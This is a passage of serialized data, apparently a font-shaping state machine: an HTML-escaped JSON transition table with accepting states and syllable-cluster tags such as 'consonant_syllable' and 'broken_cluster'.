213,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,400,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,312,313,314,315,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,313,313,315,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,401,401,315,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,402,401,401,315,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,403,97,201,404,0,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,97,0,201,201,0,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,405,318,406,406,8,9,0,10,0,0,0,322,0,0,16,0],[0,407,0,0,0,40,408,0,9,0,10,0,0,0,42,0,407,0,0],[0,0,0,0,409,44,44,8,9,0,0,0,0,321,409,0,0,0,0],[0,0,0,317,318,319,406,8,9,0,10,0,0,321,322,0,0,16,0],[0,0,0,317,318,406,406,8,9,0,10,0,0,0,322,0,0,16,0],[0,410,64,0,0,40,408,0,9,0,10,0,0,0,42,0,410,0,0],[0,223,0,0,0,121,121,0,9,0,10,0,0,0,42,0,223,0,0],[0,223,0,323,0,121,121,0,9,0,10,0,0,0,42,0,223,0,0],[0,0,0,405,318,406,406,8,9,0,10,0,0,0,322,0,0,16,0],[0,0,0,0,409,44,44,8,9,0,0,0,0,328,409,0,0,0,0],[0,0,0,325,318,326,406,8,9,0,10,0,0,328,322,0,0,16,0],[0,0,0,325,318,406,406,8,9,0,10,0,0,0,322,0,0,16,0],[0,0,0,0,0,0,0,133,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,130,0,0],[0,0,0,0,0,411,411,239,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,412,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,40,121,334,0,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,413,0,0,0,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,241,336,336,57,58,0,59,0,0,0,245,0,0,62,0],[0,0,0,0,339,141,141,57,58,0,0,0,0,0,339,0,0,0,0],[0,0,0,414,415,416,417,57,58,0,59,0,0,418,419,0,0,62,0],[0,337,0,420,0,248,248,57,58,0,59,0,0,0,139,0,337,0,0],[0,337,0,0,0,246,421,0,58,0,59,0,0,0,139,0,337,0,0],[0,0,0,422,415,423,424,57,58,0,59,0,0,425,419,0,0,62,0],[0,0,0,151,0,246,246,0,58,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,58,0,0,0,0,344,0,0,0,0,0],[0,0,0,341,0,342,246,0,58,0,59,0,0,344,0,0,0,0,0],[0,0,0,341,0,246,246,0,58,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,146,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,143,0,0],[0,0,0,0,0,426,426,258,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,427,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,350,351,352,353,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,351,351,353,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,428,428,353,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,429,428,428,353,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,430,137,246,431,0,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,137,0,246,246,0,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,432,116,433,434,8,161,0,162,0,0,435,120,0,0,16,0],[0,0,0,0,0,180,180,269,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,358,359,360,361,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,359,359,361,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,436,436,361,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,437,436,436,361,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,438,439,440,441,442,161,0,162,0,0,0,362,0,0,0,0],[0,443,274,0,0,0,0,0,0,0,0,0,0,0,0,0,443,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,444,116,445,445,8,161,0,162,0,0,0,120,0,0,16,0],[0,0,0,0,225,44,44,8,161,0,0,0,0,367,225,0,0,0,0],[0,0,0,364,116,365,445,8,161,0,162,0,0,367,120,0,0,16,0],[0,0,0,364,116,445,445,8,161,0,162,0,0,0,120,0,0,16,0],[0,0,0,0,0,0,0,0,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,446,370,447,447,22,23,0,24,0,0,0,374,0,0,27,0],[0,448,0,0,0,76,449,0,23,0,24,0,0,0,78,0,448,0,0],[0,0,0,0,450,80,80,22,23,0,0,0,0,373,450,0,0,0,0],[0,0,0,369,370,371,447,22,23,0,24,0,0,373,374,0,0,27,0],[0,0,0,369,370,447,447,22,23,0,24,0,0,0,374,0,0,27,0],[0,451,90,0,0,76,449,0,23,0,24,0,0,0,78,0,451,0,0],[0,279,0,0,0,175,175,0,23,0,24,0,0,0,78,0,279,0,0],[0,279,0,375,0,175,175,0,23,0,24,0,0,0,78,0,279,0,0],[0,0,0,446,370,447,447,22,23,0,24,0,0,0,374,0,0,27,0],[0,0,0,0,450,80,80,22,23,0,0,0,0,380,450,0,0,0,0],[0,0,0,377,370,378,447,22,23,0,24,0,0,380,374,0,0,27,0],[0,0,0,377,370,447,447,22,23,0,24,0,0,0,374,0,0,27,0],[0,0,0,0,0,0,0,187,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,184,0,0],[0,0,0,0,0,452,452,295,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,453,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,76,175,386,0,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,454,0,0,0,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,455,388,456,456,32,33,0,34,0,0,0,392,0,0,37,0],[0,457,0,0,0,97,458,0,33,0,34,0,0,0,99,0,457,0,0],[0,0,0,0,459,101,101,32,33,0,0,0,0,391,459,0,0,0,0],[0,0,0,387,388,389,456,32,33,0,34,0,0,391,392,0,0,37,0],[0,0,0,387,388,456,456,32,33,0,34,0,0,0,392,0,0,37,0],[0,460,111,0,0,97,458,0,33,0,34,0,0,0,99,0,460,0,0],[0,299,0,0,0,201,201,0,33,0,34,0,0,0,99,0,299,0,0],[0,299,0,393,0,201,201,0,33,0,34,0,0,0,99,0,299,0,0],[0,0,0,455,388,456,456,32,33,0,34,0,0,0,392,0,0,37,0],[0,0,0,0,459,101,101,32,33,0,0,0,0,398,459,0,0,0,0],[0,0,0,395,388,396,456,32,33,0,34,0,0,398,392,0,0,37,0],[0,0,0,395,388,456,456,32,33,0,34,0,0,0,392,0,0,37,0],[0,0,0,0,0,0,0,213,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,210,0,0],[0,0,0,0,0,461,461,315,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,462,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,97,201,404,0,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,463,0,0,0,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,318,406,406,8,9,0,10,0,0,0,322,0,0,16,0],[0,0,0,0,409,44,44,8,9,0,0,0,0,0,409,0,0,0,0],[0,0,0,464,465,466,467,8,9,0,10,0,0,468,469,0,0,16,0],[0,407,0,470,0,123,123,8,9,0,10,0,0,0,42,0,407,0,0],[0,407,0,0,0,121,471,0,9,0,10,0,0,0,42,0,407,0,0],[0,0,0,472,465,473,474,8,9,0,10,0,0,475,469,0,0,16,0],[0,0,0,0,0,0,0,239,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,236,0,0],[0,0,0,0,0,0,476,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,477,415,478,478,57,58,0,59,0,0,0,419,0,0,62,0],[0,479,0,0,0,137,480,0,58,0,59,0,0,0,139,0,479,0,0],[0,0,0,0,481,141,141,57,58,0,0,0,0,418,481,0,0,0,0],[0,0,0,414,415,416,478,57,58,0,59,0,0,418,419,0,0,62,0],[0,0,0,414,415,478,478,57,58,0,59,0,0,0,419,0,0,62,0],[0,482,151,0,0,137,480,0,58,0,59,0,0,0,139,0,482,0,0],[0,337,0,0,0,246,246,0,58,0,59,0,0,0,139,0,337,0,0],[0,337,0,420,0,246,246,0,58,0,59,0,0,0,139,0,337,0,0],[0,0,0,477,415,478,478,57,58,0,59,0,0,0,419,0,0,62,0],[0,0,0,0,481,141,141,57,58,0,0,0,0,425,481,0,0,0,0],[0,0,0,422,415,423,478,57,58,0,59,0,0,425,419,0,0,62,0],[0,0,0,422,415,478,478,57,58,0,59,0,0,0,419,0,0,62,0],[0,0,0,0,0,0,0,258,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,0,0],[0,0,0,0,0,483,483,353,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,484,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,137,246,431,0,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,485,0,0,0,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,444,116,445,445,8,161,0,162,0,0,0,120,0,0,16,0],[0,0,0,0,225,44,44,8,161,0,0,0,0,435,225,0,0,0,0],[0,0,0,432,116,433,445,8,161,0,162,0,0,435,120,0,0,16,0],[0,0,0,432,116,445,445,8,161,0,162,0,0,0,120,0,0,16,0],[0,0,0,0,0,486,486,361,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,487,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,439,440,441,442,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,440,440,442,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,488,488,442,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,489,488,488,442,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,490,491,492,493,494,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,495,0,496,497,0,161,0,162,0,0,498,0,0,0,0,0],[0,0,0,0,116,445,445,8,161,0,162,0,0,0,120,0,0,16,0],[0,0,0,0,225,44,44,8,161,0,0,0,0,0,225,0,0,0,0],[0,0,0,0,370,447,447,22,23,0,24,0,0,0,374,0,0,27,0],[0,0,0,0,450,80,80,22,23,0,0,0,0,0,450,0,0,0,0],[0,0,0,499,500,501,502,22,23,0,24,0,0,503,504,0,0,27,0],[0,448,0,505,0,177,177,22,23,0,24,0,0,0,78,0,448,0,0],[0,448,0,0,0,175,506,0,23,0,24,0,0,0,78,0,448,0,0],[0,0,0,507,500,508,509,22,23,0,24,0,0,510,504,0,0,27,0],[0,0,0,0,0,0,0,295,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,292,0,0],[0,0,0,0,0,0,511,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,388,456,456,32,33,0,34,0,0,0,392,0,0,37,0],[0,0,0,0,459,101,101,32,33,0,0,0,0,0,459,0,0,0,0],[0,0,0,512,513,514,515,32,33,0,34,0,0,516,517,0,0,37,0],[0,457,0,518,0,203,203,32,33,0,34,0,0,0,99,0,457,0,0],[0,457,0,0,0,201,519,0,33,0,34,0,0,0,99,0,457,0,0],[0,0,0,520,513,521,522,32,33,0,34,0,0,523,517,0,0,37,0],[0,0,0,0,0,0,0,315,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,312,0,0],[0,0,0,0,0,0,524,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,525,465,526,526,8,9,0,10,0,0,0,469,0,0,16,0],[0,527,0,0,0,40,528,0,9,0,10,0,0,0,42,0,527,0,0],[0,0,0,0,529,44,44,8,9,0,0,0,0,468,529,0,0,0,0],[0,0,0,464,465,466,526,8,9,0,10,0,0,468,469,0,0,16,0],[0,0,0,464,465,526,526,8,9,0,10,0,0,0,469,0,0,16,0],[0,530,64,0,0,40,528,0,9,0,10,0,0,0,42,0,530,0,0],[0,407,0,0,0,121,121,0,9,0,10,0,0,0,42,0,407,0,0],[0,407,0,470,0,121,121,0,9,0,10,0,0,0,42,0,407,0,0],[0,0,0,525,465,526,526,8,9,0,10,0,0,0,469,0,0,16,0],[0,0,0,0,529,44,44,8,9,0,0,0,0,475,529,0,0,0,0],[0,0,0,472,465,473,526,8,9,0,10,0,0,475,469,0,0,16,0],[0,0,0,472,465,526,526,8,9,0,10,0,0,0,469,0,0,16,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,40,0,0],[0,0,0,0,415,478,478,57,58,0,59,0,0,0,419,0,0,62,0],[0,0,0,0,481,141,141,57,58,0,0,0,0,0,481,0,0,0,0],[0,0,0,531,532,533,534,57,58,0,59,0,0,535,536,0,0,62,0],[0,479,0,537,0,248,248,57,58,0,59,0,0,0,139,0,479,0,0],[0,479,0,0,0,246,538,0,58,0,59,0,0,0,139,0,479,0,0],[0,0,0,539,532,540,541,57,58,0,59,0,0,542,536,0,0,62,0],[0,0,0,0,0,0,0,353,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,350,0,0],[0,0,0,0,0,0,543,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,361,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,358,0,0],[0,0,0,0,0,544,544,442,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,545,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,491,492,493,494,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,492,492,494,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,546,546,494,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,547,546,546,494,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,548,549,368,550,0,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,274,0,368,368,0,161,0,162,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,161,0,0,0,0,498,0,0,0,0,0],[0,0,0,495,0,496,368,0,161,0,162,0,0,498,0,0,0,0,0],[0,0,0,495,0,368,368,0,161,0,162,0,0,0,0,0,0,0,0],[0,0,0,551,500,552,552,22,23,0,24,0,0,0,504,0,0,27,0],[0,553,0,0,0,76,554,0,23,0,24,0,0,0,78,0,553,0,0],[0,0,0,0,555,80,80,22,23,0,0,0,0,503,555,0,0,0,0],[0,0,0,499,500,501,552,22,23,0,24,0,0,503,504,0,0,27,0],[0,0,0,499,500,552,552,22,23,0,24,0,0,0,504,0,0,27,0],[0,556,90,0,0,76,554,0,23,0,24,0,0,0,78,0,556,0,0],[0,448,0,0,0,175,175,0,23,0,24,0,0,0,78,0,448,0,0],[0,448,0,505,0,175,175,0,23,0,24,0,0,0,78,0,448,0,0],[0,0,0,551,500,552,552,22,23,0,24,0,0,0,504,0,0,27,0],[0,0,0,0,555,80,80,22,23,0,0,0,0,510,555,0,0,0,0],[0,0,0,507,500,508,552,22,23,0,24,0,0,510,504,0,0,27,0],[0,0,0,507,500,552,552,22,23,0,24,0,0,0,504,0,0,27,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,76,0,0],[0,0,0,557,513,558,558,32,33,0,34,0,0,0,517,0,0,37,0],[0,559,0,0,0,97,560,0,33,0,34,0,0,0,99,0,559,0,0],[0,0,0,0,561,101,101,32,33,0,0,0,0,516,561,0,0,0,0],[0,0,0,512,513,514,558,32,33,0,34,0,0,516,517,0,0,37,0],[0,0,0,512,513,558,558,32,33,0,34,0,0,0,517,0,0,37,0],[0,562,111,0,0,97,560,0,33,0,34,0,0,0,99,0,562,0,0],[0,457,0,0,0,201,201,0,33,0,34,0,0,0,99,0,457,0,0],[0,457,0,518,0,201,201,0,33,0,34,0,0,0,99,0,457,0,0],[0,0,0,557,513,558,558,32,33,0,34,0,0,0,517,0,0,37,0],[0,0,0,0,561,101,101,32,33,0,0,0,0,523,561,0,0,0,0],[0,0,0,520,513,521,558,32,33,0,34,0,0,523,517,0,0,37,0],[0,0,0,520,513,558,558,32,33,0,34,0,0,0,517,0,0,37,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,97,0,0],[0,0,0,0,465,526,526,8,9,0,10,0,0,0,469,0,0,16,0],[0,0,0,0,529,44,44,8,9,0,0,0,0,0,529,0,0,0,0],[0,0,0,563,66,564,565,8,9,0,10,0,0,566,68,0,0,16,0],[0,527,0,567,0,123,123,8,9,0,10,0,0,0,42,0,527,0,0],[0,527,0,0,0,121,568,0,9,0,10,0,0,0,42,0,527,0,0],[0,0,0,569,66,570,571,8,9,0,10,0,0,572,68,0,0,16,0],[0,0,0,573,532,574,574,57,58,0,59,0,0,0,536,0,0,62,0],[0,575,0,0,0,137,576,0,58,0,59,0,0,0,139,0,575,0,0],[0,0,0,0,577,141,141,57,58,0,0,0,0,535,577,0,0,0,0],[0,0,0,531,532,533,574,57,58,0,59,0,0,535,536,0,0,62,0],[0,0,0,531,532,574,574,57,58,0,59,0,0,0,536,0,0,62,0],[0,578,151,0,0,137,576,0,58,0,59,0,0,0,139,0,578,0,0],[0,479,0,0,0,246,246,0,58,0,59,0,0,0,139,0,479,0,0],[0,479,0,537,0,246,246,0,58,0,59,0,0,0,139,0,479,0,0],[0,0,0,573,532,574,574,57,58,0,59,0,0,0,536,0,0,62,0],[0,0,0,0,577,141,141,57,58,0,0,0,0,542,577,0,0,0,0],[0,0,0,539,532,540,574,57,58,0,59,0,0,542,536,0,0,62,0],[0,0,0,539,532,574,574,57,58,0,59,0,0,0,536,0,0,62,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,137,0,0],[0,0,0,0,0,0,0,442,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,439,0,0],[0,0,0,0,0,579,579,494,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,580,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,549,368,550,0,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,368,368,0,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,581,0,0,0,161,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,500,552,552,22,23,0,24,0,0,0,504,0,0,27,0],[0,0,0,0,555,80,80,22,23,0,0,0,0,0,555,0,0,0,0],[0,0,0,582,91,583,584,22,23,0,24,0,0,585,93,0,0,27,0],[0,553,0,586,0,177,177,22,23,0,24,0,0,0,78,0,553,0,0],[0,553,0,0,0,175,587,0,23,0,24,0,0,0,78,0,553,0,0],[0,0,0,588,91,589,590,22,23,0,24,0,0,591,93,0,0,27,0],[0,0,0,0,513,558,558,32,33,0,34,0,0,0,517,0,0,37,0],[0,0,0,0,561,101,101,32,33,0,0,0,0,0,561,0,0,0,0],[0,0,0,592,112,593,594,32,33,0,34,0,0,595,114,0,0,37,0],[0,559,0,596,0,203,203,32,33,0,34,0,0,0,99,0,559,0,0],[0,559,0,0,0,201,597,0,33,0,34,0,0,0,99,0,559,0,0],[0,0,0,598,112,599,600,32,33,0,34,0,0,601,114,0,0,37,0],[0,0,0,602,66,67,67,8,9,0,10,0,0,0,68,0,0,16,0],[0,0,0,0,165,44,44,8,9,0,0,0,0,566,165,0,0,0,0],[0,0,0,563,66,564,67,8,9,0,10,0,0,566,68,0,0,16,0],[0,0,0,563,66,67,67,8,9,0,10,0,0,0,68,0,0,16,0],[0,527,0,0,0,121,121,0,9,0,10,0,0,0,42,0,527,0,0],[0,527,0,567,0,121,121,0,9,0,10,0,0,0,42,0,527,0,0],[0,0,0,602,66,67,67,8,9,0,10,0,0,0,68,0,0,16,0],[0,0,0,0,165,44,44,8,9,0,0,0,0,572,165,0,0,0,0],[0,0,0,569,66,570,67,8,9,0,10,0,0,572,68,0,0,16,0],[0,0,0,569,66,67,67,8,9,0,10,0,0,0,68,0,0,16,0],[0,0,0,0,532,574,574,57,58,0,59,0,0,0,536,0,0,62,0],[0,0,0,0,577,141,141,57,58,0,0,0,0,0,577,0,0,0,0],[0,0,0,603,152,604,605,57,58,0,59,0,0,606,154,0,0,62,0],[0,575,0,607,0,248,248,57,58,0,59,0,0,0,139,0,575,0,0],[0,575,0,0,0,246,608,0,58,0,59,0,0,0,139,0,575,0,0],[0,0,0,609,152,610,611,57,58,0,59,0,0,612,154,0,0,62,0],[0,0,0,0,0,0,0,494,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,491,0,0],[0,0,0,0,0,0,613,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,614,91,92,92,22,23,0,24,0,0,0,93,0,0,27,0],[0,0,0,0,194,80,80,22,23,0,0,0,0,585,194,0,0,0,0],[0,0,0,582,91,583,92,22,23,0,24,0,0,585,93,0,0,27,0],[0,0,0,582,91,92,92,22,23,0,24,0,0,0,93,0,0,27,0],[0,553,0,0,0,175,175,0,23,0,24,0,0,0,78,0,553,0,0],[0,553,0,586,0,175,175,0,23,0,24,0,0,0,78,0,553,0,0],[0,0,0,614,91,92,92,22,23,0,24,0,0,0,93,0,0,27,0],[0,0,0,0,194,80,80,22,23,0,0,0,0,591,194,0,0,0,0],[0,0,0,588,91,589,92,22,23,0,24,0,0,591,93,0,0,27,0],[0,0,0,588,91,92,92,22,23,0,24,0,0,0,93,0,0,27,0],[0,0,0,615,112,113,113,32,33,0,34,0,0,0,114,0,0,37,0],[0,0,0,0,220,101,101,32,33,0,0,0,0,595,220,0,0,0,0],[0,0,0,592,112,593,113,32,33,0,34,0,0,595,114,0,0,37,0],[0,0,0,592,112,113,113,32,33,0,34,0,0,0,114,0,0,37,0],[0,559,0,0,0,201,201,0,33,0,34,0,0,0,99,0,559,0,0],[0,559,0,596,0,201,201,0,33,0,34,0,0,0,99,0,559,0,0],[0,0,0,615,112,113,113,32,33,0,34,0,0,0,114,0,0,37,0],[0,0,0,0,220,101,101,32,33,0,0,0,0,601,220,0,0,0,0],[0,0,0,598,112,599,113,32,33,0,34,0,0,601,114,0,0,37,0],[0,0,0,598,112,113,113,32,33,0,34,0,0,0,114,0,0,37,0],[0,0,0,0,66,67,67,8,9,0,10,0,0,0,68,0,0,16,0],[0,0,0,616,152,153,153,57,58,0,59,0,0,0,154,0,0,62,0],[0,0,0,0,265,141,141,57,58,0,0,0,0,606,265,0,0,0,0],[0,0,0,603,152,604,153,57,58,0,59,0,0,606,154,0,0,62,0],[0,0,0,603,152,153,153,57,58,0,59,0,0,0,154,0,0,62,0],[0,575,0,0,0,246,246,0,58,0,59,0,0,0,139,0,575,0,0],[0,575,0,607,0,246,246,0,58,0,59,0,0,0,139,0,575,0,0],[0,0,0,616,152,153,153,57,58,0,59,0,0,0,154,0,0,62,0],[0,0,0,0,265,141,141,57,58,0,0,0,0,612,265,0,0,0,0],[0,0,0,609,152,610,153,57,58,0,59,0,0,612,154,0,0,62,0],[0,0,0,609,152,153,153,57,58,0,59,0,0,0,154,0,0,62,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,549,0,0],[0,0,0,0,91,92,92,22,23,0,24,0,0,0,93,0,0,27,0],[0,0,0,0,112,113,113,32,33,0,34,0,0,0,114,0,0,37,0],[0,0,0,0,152,153,153,57,58,0,59,0,0,0,154,0,0,62,0]],&quot;accepting&quot;:[false,true,true,true,true,true,false,false,true,true,true,true,true,true,true,true,true,true,true,true,false,true,true,true,true,true,true,true,true,true,false,true,true,true,true,true,true,true,true,true,true,true,false,true,false,true,true,false,false,true,true,true,true,true,true,false,false,true,true,true,true,true,true,true,true,true,true,false,true,true,false,true,true,true,false,true,true,true,false,true,false,true,true,false,false,true,true,true,true,true,true,true,false,true,true,false,true,true,true,false,true,false,true,true,false,false,true,true,true,true,true,true,true,false,true,true,true,false,true,true,true,false,true,false,true,true,false,false,false,true,true,false,false,true,true,true,true,true,true,false,true,false,true,true,false,false,true,true,true,true,true,true,true,false,true,true,false,true,true,true,true,true,true,true,true,true,true,true,true,true,true,false,true,true,true,false,true,false,true,true,false,false,false,true,true,false,false,true,true,true,false,true,true,true,true,true,true,false,true,true,true,false,true,false,true,true,false,false,false,true,true,false,false,true,true,true,false,true,true,true,true,true,false,true,true,true,true,true,false,true,true,false,false,false,false,true,true,false,false,true,true,true,false,true,true,true,false,true,false,true,true,false,false,false,true,true,false,false,true,true,true,false,true,true,true,true,false,true,false,true,true,true,true,true,true,true,true,true,false,true,true,true,true,true,false,true,true,false,false,false,false,true,true,false,false,true,true,true,false,true,true,true,true,true,false,true,true,false,false,false,false,true,true,false,false,true,true,true,true,false,true,true,true,true,true,true,false,true,true,false,false,false,false,true,false,true,false,true,true,true,true,true,false,true,true,false,false,false,false,true,true,false,false,true,true,true,false,true,true,false,false,true,false,true,true,false,true,true,false,true,true,false,true,true,true,true,true,true,false,true,true,false,false,false,false,true,false,true,true,false,true,true,true,true,true,true,false,true,true,false,false,false,false,true,false,true,false,true,true,true,true,false,false,false,true,true,false,true,true,true,true,true,true,false,true,true,false,false,false,false,true,false,true,false,true,true,false,false,true,true,false,false,true,true,true,false,true,false,true,true,true,true,false,false,false,true,false,true,true,true,true,false,false,false,true,true,false,true,true,true,true,true,true,false,true,true,false,true,false,true,true,true,true,false,false,false,false,false,false,false,true,true,false,false,true,true,false,true,true,true,true,false,true,true,true,true,true,true,false,true,true,false,true,true,false,true,true,true,true,true,true,false,true,true,false,true,false,true,true,true,true,true,true,false,true,true,true,true,true,true,false,true,true,false,false,false,false,false,true,true,false,true,false,true,true,true,true,true,false,true,true,true,true,true,false,true,true,true,true,true,false,true,true,true,false,true,true,true,true,false,false,false,true,false,true,true,true,true,true,false,true,true,true,false,true,true,true,true,true,false,true,true,true,true,false,true,true,true,true,true,false,true,true,false,true,true,true],&quot;tags&quot;:[[],[&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;symbol_cluster&quot;],[],[&quot;symbol_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[